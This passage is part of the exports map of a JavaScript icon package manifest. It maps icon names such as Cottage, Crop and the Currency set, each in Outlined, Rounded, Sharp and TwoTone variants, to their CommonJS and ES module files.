\"require\": \"./CorporateFareSharp.js\",\n      \"default\": \"./CorporateFareSharp.mjs\"\n    },\n    \"./CorporateFareTwoTone\": {\n      \"require\": \"./CorporateFareTwoTone.js\",\n      \"import\": \"./CorporateFareTwoTone.mjs\",\n      \"default\": \"./CorporateFareTwoTone.mjs\"\n    },\n    \"./Cottage\": {\n      \"require\": \"./Cottage.js\",\n      \"import\": \"./Cottage.mjs\",\n      \"default\": \"./Cottage.mjs\"\n    },\n    \"./CottageOutlined\": {\n      \"import\": \"./CottageOutlined.mjs\",\n      \"require\": \"./CottageOutlined.js\",\n      \"default\": \"./CottageOutlined.mjs\"\n    },\n    \"./CottageRounded\": {\n      \"import\": \"./CottageRounded.mjs\",\n      \"require\": \"./CottageRounded.js\",\n      \"default\": \"./CottageRounded.mjs\"\n    },\n    \"./CottageSharp\": {\n      \"import\": \"./CottageSharp.mjs\",\n      \"require\": \"./CottageSharp.js\",\n      \"default\": \"./CottageSharp.mjs\"\n    },\n    \"./CottageTwoTone\": {\n      \"import\": \"./CottageTwoTone.mjs\",\n      \"require\": \"./CottageTwoTone.js\",\n      \"default\": \"./CottageTwoTone.mjs\"\n    },\n    \"./Countertops\": {\n      \"import\": \"./Countertops.mjs\",\n      \"require\": \"./Countertops.js\",\n      \"default\": \"./Countertops.mjs\"\n    },\n    \"./CountertopsOutlined\": {\n      \"import\": \"./CountertopsOutlined.mjs\",\n      \"require\": \"./CountertopsOutlined.js\",\n      \"default\": \"./CountertopsOutlined.mjs\"\n    },\n    \"./CountertopsRounded\": {\n      \"import\": \"./CountertopsRounded.mjs\",\n      \"require\": \"./CountertopsRounded.js\",\n      \"default\": \"./CountertopsRounded.mjs\"\n    },\n    \"./CountertopsSharp\": {\n      \"import\": \"./CountertopsSharp.mjs\",\n      \"require\": \"./CountertopsSharp.js\",\n      \"default\": \"./CountertopsSharp.mjs\"\n    },\n    \"./CountertopsTwoTone\": {\n      \"import\": \"./CountertopsTwoTone.mjs\",\n      \"require\": \"./CountertopsTwoTone.js\",\n      \"default\": \"./CountertopsTwoTone.mjs\"\n    },\n    \"./Create\": {\n      \"import\": \"./Create.mjs\",\n      \"require\": \"./Create.js\",\n      \"default\": \"./Create.mjs\"\n    },\n    \"./CreateNewFolder\": {\n      \"import\": \"./CreateNewFolder.mjs\",\n      \"require\": \"./CreateNewFolder.js\",\n      \"default\": \"./CreateNewFolder.mjs\"\n    },\n    \"./CreateNewFolderOutlined\": {\n      \"import\": \"./CreateNewFolderOutlined.mjs\",\n      \"require\": \"./CreateNewFolderOutlined.js\",\n      \"default\": \"./CreateNewFolderOutlined.mjs\"\n    },\n    \"./CreateNewFolderRounded\": {\n      \"import\": \"./CreateNewFolderRounded.mjs\",\n      \"require\": \"./CreateNewFolderRounded.js\",\n      \"default\": \"./CreateNewFolderRounded.mjs\"\n    },\n    \"./CreateNewFolderSharp\": {\n      \"import\": \"./CreateNewFolderSharp.mjs\",\n      \"require\": \"./CreateNewFolderSharp.js\",\n      \"default\": \"./CreateNewFolderSharp.mjs\"\n    },\n    \"./CreateNewFolderTwoTone\": {\n      \"import\": \"./CreateNewFolderTwoTone.mjs\",\n      \"require\": \"./CreateNewFolderTwoTone.js\",\n      \"default\": \"./CreateNewFolderTwoTone.mjs\"\n    },\n    \"./CreateOutlined\": {\n      \"import\": \"./CreateOutlined.mjs\",\n      \"require\": \"./CreateOutlined.js\",\n      \"default\": \"./CreateOutlined.mjs\"\n    },\n    \"./CreateRounded\": {\n      \"import\": \"./CreateRounded.mjs\",\n      \"require\": \"./CreateRounded.js\",\n      \"default\": \"./CreateRounded.mjs\"\n    },\n    \"./CreateSharp\": {\n      \"import\": \"./CreateSharp.mjs\",\n      \"require\": \"./CreateSharp.js\",\n      \"default\": \"./CreateSharp.mjs\"\n    },\n    \"./CreateTwoTone\": {\n      \"import\": \"./CreateTwoTone.mjs\",\n      \"require\": \"./CreateTwoTone.js\",\n      \"default\": \"./CreateTwoTone.mjs\"\n    },\n    \"./CreditCard\": {\n      \"import\": \"./CreditCard.mjs\",\n      \"require\": \"./CreditCard.js\",\n      \"default\": \"./CreditCard.mjs\"\n    },\n    \"./CreditCardOff\": {\n      \"import\": \"./CreditCardOff.mjs\",\n      \"require\": \"./CreditCardOff.js\",\n      \"default\": \"./CreditCardOff.mjs\"\n    },\n    \"./CreditCardOffOutlined\": {\n      \"import\": \"./CreditCardOffOutlined.mjs\",\n      \"require\": \"./CreditCardOffOutlined.js\",\n      \"default\": \"./CreditCardOffOutlined.mjs\"\n    },\n    \"./CreditCardOffRounded\": {\n      \"import\": \"./CreditCardOffRounded.mjs\",\n      \"require\": \"./CreditCardOffRounded.js\",\n      \"default\": \"./CreditCardOffRounded.mjs\"\n    },\n    \"./CreditCardOffSharp\": {\n      \"require\": \"./CreditCardOffSharp.js\",\n      \"import\": \"./CreditCardOffSharp.mjs\",\n      \"default\": \"./CreditCardOffSharp.mjs\"\n    },\n    \"./CreditCardOffTwoTone\": {\n      \"require\": \"./CreditCardOffTwoTone.js\",\n      \"import\": \"./CreditCardOffTwoTone.mjs\",\n      \"default\": \"./CreditCardOffTwoTone.mjs\"\n    },\n    \"./CreditCardOutlined\": {\n      \"require\": \"./CreditCardOutlined.js\",\n      \"import\": \"./CreditCardOutlined.mjs\",\n      \"default\": \"./CreditCardOutlined.mjs\"\n    },\n    \"./CreditCardRounded\": {\n      \"import\": \"./CreditCardRounded.mjs\",\n      \"require\": \"./CreditCardRounded.js\",\n      \"default\": \"./CreditCardRounded.mjs\"\n    },\n    \"./CreditCardSharp\": {\n      \"import\": \"./CreditCardSharp.mjs\",\n      \"require\": \"./CreditCardSharp.js\",\n      \"default\": \"./CreditCardSharp.mjs\"\n    },\n    \"./CreditCardTwoTone\": {\n      \"import\": \"./CreditCardTwoTone.mjs\",\n      \"require\": \"./CreditCardTwoTone.js\",\n      \"default\": \"./CreditCardTwoTone.mjs\"\n    },\n    \"./CreditScore\": {\n      \"import\": \"./CreditScore.mjs\",\n      \"require\": \"./CreditScore.js\",\n      \"default\": \"./CreditScore.mjs\"\n    },\n    \"./CreditScoreOutlined\": {\n      \"import\": \"./CreditScoreOutlined.mjs\",\n      \"require\": \"./CreditScoreOutlined.js\",\n      \"default\": \"./CreditScoreOutlined.mjs\"\n    },\n    \"./CreditScoreRounded\": {\n      \"import\": \"./CreditScoreRounded.mjs\",\n      \"require\": \"./CreditScoreRounded.js\",\n      \"default\": \"./CreditScoreRounded.mjs\"\n    },\n    \"./CreditScoreSharp\": {\n      \"import\": \"./CreditScoreSharp.mjs\",\n      \"require\": \"./CreditScoreSharp.js\",\n      \"default\": \"./CreditScoreSharp.mjs\"\n    },\n    \"./CreditScoreTwoTone\": {\n      \"import\": \"./CreditScoreTwoTone.mjs\",\n      \"require\": \"./CreditScoreTwoTone.js\",\n      \"default\": \"./CreditScoreTwoTone.mjs\"\n    },\n    \"./Crib\": {\n      \"require\": \"./Crib.js\",\n      \"import\": \"./Crib.mjs\",\n      \"default\": \"./Crib.mjs\"\n    },\n    \"./CribOutlined\": {\n      \"require\": \"./CribOutlined.js\",\n      \"import\": \"./CribOutlined.mjs\",\n      \"default\": \"./CribOutlined.mjs\"\n    },\n    \"./CribRounded\": {\n      \"require\": \"./CribRounded.js\",\n      \"import\": \"./CribRounded.mjs\",\n      \"default\": \"./CribRounded.mjs\"\n    },\n    \"./CribSharp\": {\n      \"require\": \"./CribSharp.js\",\n      \"import\": \"./CribSharp.mjs\",\n      \"default\": \"./CribSharp.mjs\"\n    },\n    \"./CribTwoTone\": {\n      \"require\": \"./CribTwoTone.js\",\n      \"import\": \"./CribTwoTone.mjs\",\n      \"default\": \"./CribTwoTone.mjs\"\n    },\n    \"./CrisisAlert\": {\n      \"require\": \"./CrisisAlert.js\",\n      \"import\": \"./CrisisAlert.mjs\",\n      \"default\": \"./CrisisAlert.mjs\"\n    },\n    \"./CrisisAlertOutlined\": {\n      \"require\": \"./CrisisAlertOutlined.js\",\n      \"import\": \"./CrisisAlertOutlined.mjs\",\n      \"default\": \"./CrisisAlertOutlined.mjs\"\n    },\n    \"./CrisisAlertRounded\": {\n      \"require\": \"./CrisisAlertRounded.js\",\n      \"import\": \"./CrisisAlertRounded.mjs\",\n      \"default\": \"./CrisisAlertRounded.mjs\"\n    },\n    \"./CrisisAlertSharp\": {\n      \"require\": \"./CrisisAlertSharp.js\",\n      \"import\": \"./CrisisAlertSharp.mjs\",\n      \"default\": \"./CrisisAlertSharp.mjs\"\n    },\n    \"./CrisisAlertTwoTone\": {\n      \"require\": \"./CrisisAlertTwoTone.js\",\n      \"import\": \"./CrisisAlertTwoTone.mjs\",\n      \"default\": \"./CrisisAlertTwoTone.mjs\"\n    },\n    \"./Crop\": {\n      \"require\": \"./Crop.js\",\n      \"import\": \"./Crop.mjs\",\n      \"default\": \"./Crop.mjs\"\n    },\n    \"./Crop169\": {\n      \"require\": \"./Crop169.js\",\n      \"import\": \"./Crop169.mjs\",\n      \"default\": \"./Crop169.mjs\"\n    },\n    \"./Crop169Outlined\": {\n      \"require\": \"./Crop169Outlined.js\",\n      \"import\": \"./Crop169Outlined.mjs\",\n      \"default\": \"./Crop169Outlined.mjs\"\n    },\n    \"./Crop169Rounded\": {\n      \"require\": \"./Crop169Rounded.js\",\n      \"import\": \"./Crop169Rounded.mjs\",\n      \"default\": \"./Crop169Rounded.mjs\"\n    },\n    \"./Crop169Sharp\": {\n      \"require\": \"./Crop169Sharp.js\",\n      \"import\": \"./Crop169Sharp.mjs\",\n      \"default\": \"./Crop169Sharp.mjs\"\n    },\n    \"./Crop169TwoTone\": {\n      \"require\": \"./Crop169TwoTone.js\",\n      \"import\": \"./Crop169TwoTone.mjs\",\n      \"default\": \"./Crop169TwoTone.mjs\"\n    },\n    \"./Crop32\": {\n      \"require\": \"./Crop32.js\",\n      \"import\": \"./Crop32.mjs\",\n      \"default\": \"./Crop32.mjs\"\n    },\n    \"./Crop32Outlined\": {\n      \"require\": \"./Crop32Outlined.js\",\n      \"import\": \"./Crop32Outlined.mjs\",\n      \"default\": \"./Crop32Outlined.mjs\"\n    },\n    \"./Crop32Rounded\": {\n      \"require\": \"./Crop32Rounded.js\",\n      \"import\": \"./Crop32Rounded.mjs\",\n      \"default\": \"./Crop32Rounded.mjs\"\n    },\n    \"./Crop32Sharp\": {\n      \"require\": \"./Crop32Sharp.js\",\n      \"import\": \"./Crop32Sharp.mjs\",\n      \"default\": \"./Crop32Sharp.mjs\"\n    },\n    \"./Crop32TwoTone\": {\n      \"require\": \"./Crop32TwoTone.js\",\n      \"import\": \"./Crop32TwoTone.mjs\",\n      \"default\": \"./Crop32TwoTone.mjs\"\n    },\n    \"./Crop54\": {\n      \"require\": \"./Crop54.js\",\n      \"import\": \"./Crop54.mjs\",\n      \"default\": \"./Crop54.mjs\"\n    },\n    \"./Crop54Outlined\": {\n      \"require\": \"./Crop54Outlined.js\",\n      \"import\": \"./Crop54Outlined.mjs\",\n      \"default\": \"./Crop54Outlined.mjs\"\n    },\n    \"./Crop54Rounded\": {\n      \"require\": \"./Crop54Rounded.js\",\n      \"import\": \"./Crop54Rounded.mjs\",\n      \"default\": \"./Crop54Rounded.mjs\"\n    },\n    \"./Crop54Sharp\": {\n      \"require\": \"./Crop54Sharp.js\",\n      \"import\": \"./Crop54Sharp.mjs\",\n      \"default\": \"./Crop54Sharp.mjs\"\n    },\n    \"./Crop54TwoTone\": {\n      \"import\": \"./Crop54TwoTone.mjs\",\n      \"require\": \"./Crop54TwoTone.js\",\n      \"default\": \"./Crop54TwoTone.mjs\"\n    },\n    \"./Crop75\": {\n      \"import\": \"./Crop75.mjs\",\n      \"require\": \"./Crop75.js\",\n      \"default\": \"./Crop75.mjs\"\n    },\n    \"./Crop75Outlined\": {\n      \"import\": \"./Crop75Outlined.mjs\",\n      \"require\": \"./Crop75Outlined.js\",\n      \"default\": \"./Crop75Outlined.mjs\"\n    },\n    \"./Crop75Rounded\": {\n      \"import\": \"./Crop75Rounded.mjs\",\n      \"require\": \"./Crop75Rounded.js\",\n      \"default\": \"./Crop75Rounded.mjs\"\n    },\n    \"./Crop75Sharp\": {\n      \"import\": \"./Crop75Sharp.mjs\",\n      \"require\": \"./Crop75Sharp.js\",\n      \"default\": \"./Crop75Sharp.mjs\"\n    },\n    \"./Crop75TwoTone\": {\n      \"import\": \"./Crop75TwoTone.mjs\",\n      \"require\": \"./Crop75TwoTone.js\",\n      \"default\": \"./Crop75TwoTone.mjs\"\n    },\n    \"./CropDin\": {\n      \"import\": \"./CropDin.mjs\",\n      \"require\": \"./CropDin.js\",\n      \"default\": \"./CropDin.mjs\"\n    },\n    \"./CropDinOutlined\": {\n      \"import\": \"./CropDinOutlined.mjs\",\n      \"require\": \"./CropDinOutlined.js\",\n      \"default\": \"./CropDinOutlined.mjs\"\n    },\n    \"./CropDinRounded\": {\n      \"import\": \"./CropDinRounded.mjs\",\n      \"require\": \"./CropDinRounded.js\",\n      \"default\": \"./CropDinRounded.mjs\"\n    },\n    \"./CropDinSharp\": {\n      \"import\": \"./CropDinSharp.mjs\",\n      \"require\": \"./CropDinSharp.js\",\n      \"default\": \"./CropDinSharp.mjs\"\n    },\n    \"./CropDinTwoTone\": {\n      \"import\": \"./CropDinTwoTone.mjs\",\n      \"require\": \"./CropDinTwoTone.js\",\n      \"default\": \"./CropDinTwoTone.mjs\"\n    },\n    \"./CropFree\": {\n      \"import\": \"./CropFree.mjs\",\n      \"require\": \"./CropFree.js\",\n      \"default\": \"./CropFree.mjs\"\n    },\n    \"./CropFreeOutlined\": {\n      \"import\": \"./CropFreeOutlined.mjs\",\n      \"require\": \"./CropFreeOutlined.js\",\n      \"default\": \"./CropFreeOutlined.mjs\"\n    },\n    \"./CropFreeRounded\": {\n      \"import\": \"./CropFreeRounded.mjs\",\n      \"require\": \"./CropFreeRounded.js\",\n      \"default\": \"./CropFreeRounded.mjs\"\n    },\n    \"./CropFreeSharp\": {\n      \"import\": \"./CropFreeSharp.mjs\",\n      \"require\": \"./CropFreeSharp.js\",\n      \"default\": \"./CropFreeSharp.mjs\"\n    },\n    \"./CropFreeTwoTone\": {\n      \"import\": \"./CropFreeTwoTone.mjs\",\n      \"require\": \"./CropFreeTwoTone.js\",\n      \"default\": \"./CropFreeTwoTone.mjs\"\n    },\n    \"./CropLandscape\": {\n      \"require\": \"./CropLandscape.js\",\n      \"import\": \"./CropLandscape.mjs\",\n      \"default\": \"./CropLandscape.mjs\"\n    },\n    \"./CropLandscapeOutlined\": {\n      \"require\": \"./CropLandscapeOutlined.js\",\n      \"import\": \"./CropLandscapeOutlined.mjs\",\n      \"default\": \"./CropLandscapeOutlined.mjs\"\n    },\n    \"./CropLandscapeRounded\": {\n      \"require\": \"./CropLandscapeRounded.js\",\n      \"import\": \"./CropLandscapeRounded.mjs\",\n      \"default\": \"./CropLandscapeRounded.mjs\"\n    },\n    \"./CropLandscapeSharp\": {\n      \"require\": \"./CropLandscapeSharp.js\",\n      \"import\": \"./CropLandscapeSharp.mjs\",\n      \"default\": \"./CropLandscapeSharp.mjs\"\n    },\n    \"./CropLandscapeTwoTone\": {\n      \"require\": \"./CropLandscapeTwoTone.js\",\n      \"import\": \"./CropLandscapeTwoTone.mjs\",\n      \"default\": \"./CropLandscapeTwoTone.mjs\"\n    },\n    \"./CropOriginal\": {\n      \"require\": \"./CropOriginal.js\",\n      \"import\": \"./CropOriginal.mjs\",\n      \"default\": \"./CropOriginal.mjs\"\n    },\n    \"./CropOriginalOutlined\": {\n      \"require\": \"./CropOriginalOutlined.js\",\n      \"import\": \"./CropOriginalOutlined.mjs\",\n      \"default\": \"./CropOriginalOutlined.mjs\"\n    },\n    \"./CropOriginalRounded\": {\n      \"require\": \"./CropOriginalRounded.js\",\n      \"import\": \"./CropOriginalRounded.mjs\",\n      \"default\": \"./CropOriginalRounded.mjs\"\n    },\n    \"./CropOriginalSharp\": {\n      \"require\": \"./CropOriginalSharp.js\",\n      \"import\": \"./CropOriginalSharp.mjs\",\n      \"default\": \"./CropOriginalSharp.mjs\"\n    },\n    \"./CropOriginalTwoTone\": {\n      \"require\": \"./CropOriginalTwoTone.js\",\n      \"import\": \"./CropOriginalTwoTone.mjs\",\n      \"default\": \"./CropOriginalTwoTone.mjs\"\n    },\n    \"./CropOutlined\": {\n      \"require\": \"./CropOutlined.js\",\n      \"import\": \"./CropOutlined.mjs\",\n      \"default\": \"./CropOutlined.mjs\"\n    },\n    \"./CropPortrait\": {\n      \"import\": \"./CropPortrait.mjs\",\n      \"require\": \"./CropPortrait.js\",\n      \"default\": \"./CropPortrait.mjs\"\n    },\n    \"./CropPortraitOutlined\": {\n      \"import\": \"./CropPortraitOutlined.mjs\",\n      \"require\": \"./CropPortraitOutlined.js\",\n      \"default\": \"./CropPortraitOutlined.mjs\"\n    },\n    \"./CropPortraitRounded\": {\n      \"import\": \"./CropPortraitRounded.mjs\",\n      \"require\": \"./CropPortraitRounded.js\",\n      \"default\": \"./CropPortraitRounded.mjs\"\n    },\n    \"./CropPortraitSharp\": {\n      \"import\": \"./CropPortraitSharp.mjs\",\n      \"require\": \"./CropPortraitSharp.js\",\n      \"default\": \"./CropPortraitSharp.mjs\"\n    },\n    \"./CropPortraitTwoTone\": {\n      \"import\": \"./CropPortraitTwoTone.mjs\",\n      \"require\": \"./CropPortraitTwoTone.js\",\n      \"default\": \"./CropPortraitTwoTone.mjs\"\n    },\n    \"./CropRotate\": {\n      \"import\": \"./CropRotate.mjs\",\n      \"require\": \"./CropRotate.js\",\n      \"default\": \"./CropRotate.mjs\"\n    },\n    \"./CropRotateOutlined\": {\n      \"import\": \"./CropRotateOutlined.mjs\",\n      \"require\": \"./CropRotateOutlined.js\",\n      \"default\": \"./CropRotateOutlined.mjs\"\n    },\n    \"./CropRotateRounded\": {\n      \"import\": \"./CropRotateRounded.mjs\",\n      \"require\": \"./CropRotateRounded.js\",\n      \"default\": \"./CropRotateRounded.mjs\"\n    },\n    \"./CropRotateSharp\": {\n      \"import\": \"./CropRotateSharp.mjs\",\n      \"require\": \"./CropRotateSharp.js\",\n      \"default\": \"./CropRotateSharp.mjs\"\n    },\n    \"./CropRotateTwoTone\": {\n      \"import\": \"./CropRotateTwoTone.mjs\",\n      \"require\": \"./CropRotateTwoTone.js\",\n      \"default\": \"./CropRotateTwoTone.mjs\"\n    },\n    \"./CropRounded\": {\n      \"import\": \"./CropRounded.mjs\",\n      \"require\": \"./CropRounded.js\",\n      \"default\": \"./CropRounded.mjs\"\n    },\n    \"./CropSharp\": {\n      \"import\": \"./CropSharp.mjs\",\n      \"require\": \"./CropSharp.js\",\n      \"default\": \"./CropSharp.mjs\"\n    },\n    \"./CropSquare\": {\n      \"import\": \"./CropSquare.mjs\",\n      \"require\": \"./CropSquare.js\",\n      \"default\": \"./CropSquare.mjs\"\n    },\n    \"./CropSquareOutlined\": {\n      \"import\": \"./CropSquareOutlined.mjs\",\n      \"require\": \"./CropSquareOutlined.js\",\n      \"default\": \"./CropSquareOutlined.mjs\"\n    },\n    \"./CropSquareRounded\": {\n      \"import\": \"./CropSquareRounded.mjs\",\n      \"require\": \"./CropSquareRounded.js\",\n      \"default\": \"./CropSquareRounded.mjs\"\n    },\n    \"./CropSquareSharp\": {\n      \"import\": \"./CropSquareSharp.mjs\",\n      \"require\": \"./CropSquareSharp.js\",\n      \"default\": \"./CropSquareSharp.mjs\"\n    },\n    \"./CropSquareTwoTone\": {\n      \"import\": \"./CropSquareTwoTone.mjs\",\n      \"require\": \"./CropSquareTwoTone.js\",\n      \"default\": \"./CropSquareTwoTone.mjs\"\n    },\n    \"./CropTwoTone\": {\n      \"import\": \"./CropTwoTone.mjs\",\n      \"require\": \"./CropTwoTone.js\",\n      \"default\": \"./CropTwoTone.mjs\"\n    },\n    \"./CrueltyFree\": {\n      \"import\": \"./CrueltyFree.mjs\",\n      \"require\": \"./CrueltyFree.js\",\n      \"default\": \"./CrueltyFree.mjs\"\n    },\n    \"./CrueltyFreeOutlined\": {\n      \"import\": \"./CrueltyFreeOutlined.mjs\",\n      \"require\": \"./CrueltyFreeOutlined.js\",\n      \"default\": \"./CrueltyFreeOutlined.mjs\"\n    },\n    \"./CrueltyFreeRounded\": {\n      \"import\": \"./CrueltyFreeRounded.mjs\",\n      \"require\": \"./CrueltyFreeRounded.js\",\n      \"default\": \"./CrueltyFreeRounded.mjs\"\n    },\n    \"./CrueltyFreeSharp\": {\n      \"import\": \"./CrueltyFreeSharp.mjs\",\n      \"require\": \"./CrueltyFreeSharp.js\",\n      \"default\": \"./CrueltyFreeSharp.mjs\"\n    },\n    \"./CrueltyFreeTwoTone\": {\n      \"import\": \"./CrueltyFreeTwoTone.mjs\",\n      \"require\": \"./CrueltyFreeTwoTone.js\",\n      \"default\": \"./CrueltyFreeTwoTone.mjs\"\n    },\n    \"./Css\": {\n      \"import\": \"./Css.mjs\",\n      \"require\": \"./Css.js\",\n      \"default\": \"./Css.mjs\"\n    },\n    \"./CssOutlined\": {\n      \"import\": \"./CssOutlined.mjs\",\n      \"require\": \"./CssOutlined.js\",\n      \"default\": \"./CssOutlined.mjs\"\n    },\n    \"./CssRounded\": {\n      \"import\": \"./CssRounded.mjs\",\n      \"require\": \"./CssRounded.js\",\n      \"default\": \"./CssRounded.mjs\"\n    },\n    \"./CssSharp\": {\n      \"import\": \"./CssSharp.mjs\",\n      \"require\": \"./CssSharp.js\",\n      \"default\": \"./CssSharp.mjs\"\n    },\n    \"./CssTwoTone\": {\n      \"import\": \"./CssTwoTone.mjs\",\n      \"require\": \"./CssTwoTone.js\",\n      \"default\": \"./CssTwoTone.mjs\"\n    },\n    \"./CurrencyBitcoin\": {\n      \"import\": \"./CurrencyBitcoin.mjs\",\n      \"require\": \"./CurrencyBitcoin.js\",\n      \"default\": \"./CurrencyBitcoin.mjs\"\n    },\n    \"./CurrencyBitcoinOutlined\": {\n      \"import\": \"./CurrencyBitcoinOutlined.mjs\",\n      \"require\": \"./CurrencyBitcoinOutlined.js\",\n      \"default\": \"./CurrencyBitcoinOutlined.mjs\"\n    },\n    \"./CurrencyBitcoinRounded\": {\n      \"import\": \"./CurrencyBitcoinRounded.mjs\",\n      \"require\": \"./CurrencyBitcoinRounded.js\",\n      \"default\": \"./CurrencyBitcoinRounded.mjs\"\n    },\n    \"./CurrencyBitcoinSharp\": {\n      \"import\": \"./CurrencyBitcoinSharp.mjs\",\n      \"require\": \"./CurrencyBitcoinSharp.js\",\n      \"default\": \"./CurrencyBitcoinSharp.mjs\"\n    },\n    \"./CurrencyBitcoinTwoTone\": {\n      \"import\": \"./CurrencyBitcoinTwoTone.mjs\",\n      \"require\": \"./CurrencyBitcoinTwoTone.js\",\n      \"default\": \"./CurrencyBitcoinTwoTone.mjs\"\n    },\n    \"./CurrencyExchange\": {\n      \"import\": \"./CurrencyExchange.mjs\",\n      \"require\": \"./CurrencyExchange.js\",\n      \"default\": \"./CurrencyExchange.mjs\"\n    },\n    \"./CurrencyExchangeOutlined\": {\n      \"import\": \"./CurrencyExchangeOutlined.mjs\",\n      \"require\": \"./CurrencyExchangeOutlined.js\",\n      \"default\": \"./CurrencyExchangeOutlined.mjs\"\n    },\n    \"./CurrencyExchangeRounded\": {\n      \"import\": \"./CurrencyExchangeRounded.mjs\",\n      \"require\": \"./CurrencyExchangeRounded.js\",\n      \"default\": \"./CurrencyExchangeRounded.mjs\"\n    },\n    \"./CurrencyExchangeSharp\": {\n      \"require\": \"./CurrencyExchangeSharp.js\",\n      \"import\": \"./CurrencyExchangeSharp.mjs\",\n      \"default\": \"./CurrencyExchangeSharp.mjs\"\n    },\n    \"./CurrencyExchangeTwoTone\": {\n      \"require\": \"./CurrencyExchangeTwoTone.js\",\n      \"import\": \"./CurrencyExchangeTwoTone.mjs\",\n      \"default\": \"./CurrencyExchangeTwoTone.mjs\"\n    },\n    \"./CurrencyFranc\": {\n      \"require\": \"./CurrencyFranc.js\",\n      \"import\": \"./CurrencyFranc.mjs\",\n      \"default\": \"./CurrencyFranc.mjs\"\n    },\n    \"./CurrencyFrancOutlined\": {\n      \"require\": \"./CurrencyFrancOutlined.js\",\n      \"import\": \"./CurrencyFrancOutlined.mjs\",\n      \"default\": \"./CurrencyFrancOutlined.mjs\"\n    },\n    \"./CurrencyFrancRounded\": {\n      \"require\": \"./CurrencyFrancRounded.js\",\n      \"import\": \"./CurrencyFrancRounded.mjs\",\n      \"default\": \"./CurrencyFrancRounded.mjs\"\n    },\n    \"./CurrencyFrancSharp\": {\n      \"require\": \"./CurrencyFrancSharp.js\",\n      \"import\": \"./CurrencyFrancSharp.mjs\",\n      \"default\": \"./CurrencyFrancSharp.mjs\"\n    },\n    \"./CurrencyFrancTwoTone\": {\n      \"require\": \"./CurrencyFrancTwoTone.js\",\n      \"import\": \"./CurrencyFrancTwoTone.mjs\",\n      \"default\": \"./CurrencyFrancTwoTone.mjs\"\n    },\n    \"./CurrencyLira\": {\n      \"require\": \"./CurrencyLira.js\",\n      \"import\": \"./CurrencyLira.mjs\",\n      \"default\": \"./CurrencyLira.mjs\"\n    },\n    \"./CurrencyLiraOutlined\": {\n      \"require\": \"./CurrencyLiraOutlined.js\",\n      \"import\": \"./CurrencyLiraOutlined.mjs\",\n      \"default\": \"./CurrencyLiraOutlined.mjs\"\n    },\n    \"./CurrencyLiraRounded\": {\n      \"require\": \"./CurrencyLiraRounded.js\",\n      \"import\": \"./CurrencyLiraRounded.mjs\",\n      \"default\": \"./CurrencyLiraRounded.mjs\"\n    },\n    \"./CurrencyLiraSharp\": {\n      \"require\": \"./CurrencyLiraSharp.js\",\n      \"import\": \"./CurrencyLiraSharp.mjs\",\n      \"default\": \"./CurrencyLiraSharp.mjs\"\n    },\n    \"./CurrencyLiraTwoTone\": {\n      \"require\": \"./CurrencyLiraTwoTone.js\",\n      \"import\": \"./CurrencyLiraTwoTone.mjs\",\n      \"default\": \"./CurrencyLiraTwoTone.mjs\"\n    },\n    \"./CurrencyPound\": {\n      \"require\": \"./CurrencyPound.js\",\n      \"import\": \"./CurrencyPound.mjs\",\n      \"default\": \"./CurrencyPound.mjs\"\n    },\n    \"./CurrencyPoundOutlined\": {\n      \"require\": \"./CurrencyPoundOutlined.js\",\n      \"import\": \"./CurrencyPoundOutlined.mjs\",\n      \"default\": \"./CurrencyPoundOutlined.mjs\"\n    },\n    \"./CurrencyPoundRounded\": {\n      \"require\": \"./CurrencyPoundRounded.js\",\n      \"import\": \"./CurrencyPoundRounded.mjs\",\n      \"default\": \"./CurrencyPoundRounded.mjs\"\n    },\n    \"./CurrencyPoundSharp\": {\n      \"require\": \"./CurrencyPoundSharp.js\",\n      \"import\": \"./CurrencyPoundSharp.mjs\",\n      \"default\": \"./CurrencyPoundSharp.mjs\"\n    },\n    \"./CurrencyPoundTwoTone\": {\n      \"require\": \"./CurrencyPoundTwoTone.js\",\n      \"import\": \"./CurrencyPoundTwoTone.mjs\",\n      \"default\": \"./CurrencyPoundTwoTone.mjs\"\n    },\n    \"./CurrencyRuble\": {\n      \"require\": \"./CurrencyRuble.js\",\n      \"import\": \"./CurrencyRuble.mjs\",\n      \"default\": \"./CurrencyRuble.mjs\"\n    },\n    \"./CurrencyRubleOutlined\": {\n      \"require\": \"./CurrencyRubleOutlined.js\",\n      \"import\": \"./CurrencyRubleOutlined.mjs\",\n      \"default\": \"./CurrencyRubleOutlined.mjs\"\n    },\n    \"./CurrencyRubleRounded\": {\n      \"require\": \"./CurrencyRubleRounded.js\",\n      \"import\": \"./CurrencyRubleRounded.mjs\",\n      \"default\": \"./CurrencyRubleRounded.mjs\"\n    },\n    \"./CurrencyRubleSharp\": {\n      \"require\": \"./CurrencyRubleSharp.js\",\n      \"import\": \"./CurrencyRubleSharp.mjs\",\n      \"default\": \"./CurrencyRubleSharp.mjs\"\n    },\n    \"./CurrencyRubleTwoTone\": {\n      \"require\": \"./CurrencyRubleTwoTone.js\",\n      \"import\": \"./CurrencyRubleTwoTone.mjs\",\n      \"default\": \"./CurrencyRubleTwoTone.mjs\"\n    },\n    \"./CurrencyRupee\": {\n      \"require\": \"./CurrencyRupee.js\",\n      \"import\": \"./CurrencyRupee.mjs\",\n      \"default\": \"./CurrencyRupee.mjs\"\n    },\n    \"./CurrencyRupeeOutlined\": {\n      \"require\": \"./CurrencyRupeeOutlined.js\",\n      \"import\": \"./CurrencyRupeeOutlined.mjs\",\n      \"default\": \"./CurrencyRupeeOutlined.mjs\"\n    },\n    \"./CurrencyRupeeRounded\": {\n      \"require\": \"./CurrencyRupeeRounded.js\",\n      \"import\": \"./CurrencyRupeeRounded.mjs\",\n      \"default\": \"./CurrencyRupeeRounded.mjs\"\n    },\n    \"./CurrencyRupeeSharp\": {\n      \"require\": \"./CurrencyRupeeSharp.js\",\n      \"import\": \"./CurrencyRupeeSharp.mjs\",\n      \"default\": \"./CurrencyRupeeSharp.mjs\"\n    },\n    \"./CurrencyRupeeTwoTone\": {\n      \"require\": \"./CurrencyRupeeTwoTone.js\",\n      \"import\": \"./CurrencyRupeeTwoTone.mjs\",\n      \"default\": \"./CurrencyRupeeTwoTone.mjs\"\n    },\n    \"./CurrencyYen\": {\n      \"require\": \"./CurrencyYen.js\",\n      \"import\": \"./CurrencyYen.mjs\",\n      \"default\": \"./CurrencyYen.mjs\"\n    },\n    \"./CurrencyYenOutlined\": {\n      \"require\": \"./CurrencyYenOutlined.js\",\n      \"import\": \"./CurrencyYenOutlined.mjs\",\n      \"default\": \"./CurrencyYenOutlined.mjs\"\n    },\n    \"./CurrencyYenRounded\": {\n      \"require\": \"./CurrencyYenRounded.js\",\n      \"import\": \"./CurrencyYenRounded.mjs\",\n      \"default\": \"./CurrencyYenRounded.mjs\"\n    